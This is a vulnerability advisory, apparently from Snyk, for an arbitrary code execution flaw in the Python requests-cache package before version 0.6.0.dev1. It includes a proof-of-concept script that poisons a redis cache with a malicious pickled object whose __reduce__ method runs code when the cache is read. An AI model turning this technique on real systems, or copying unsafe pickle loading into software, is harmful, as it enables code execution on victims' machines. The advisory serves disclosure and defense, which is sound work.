Arbitrary Code Execution

Affecting requests-cache package, versions [,0.6.0.dev1)

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

requests-cache is a Persistent cache for requests library

Affected versions of this package are vulnerable to Arbitrary Code Execution via accessing the redis cache (with write permissions).

PoC

import requests
import requests_cache

requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()

print("Filling cache.")
response = requests.get("https://example.org")


### attacker's part

print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict

rd = Redis()

class Exploit:
    def __reduce__(self):
        return (print, ("I won.",))

import pickle

exploit = pickle.dumps(Exploit(), protocol=0)

for key in rd.hgetall("cache:responses").keys():
    rd.hset("cache:responses", key, exploit)

print('Attacker: finished')

### end of attacker's part


print("Accessing cache")
response = requests.get("https://example.org")

Remediation

Upgrade requests-cache to version 0.6.0.dev1 or higher.

References

CVSS Score

8.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    Low
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O
Credit
Varbin
CWE
CWE-94
Snyk ID
SNYK-PYTHON-REQUESTSCACHE-1089050
Disclosed
25 Mar, 2021
Published
25 Mar, 2021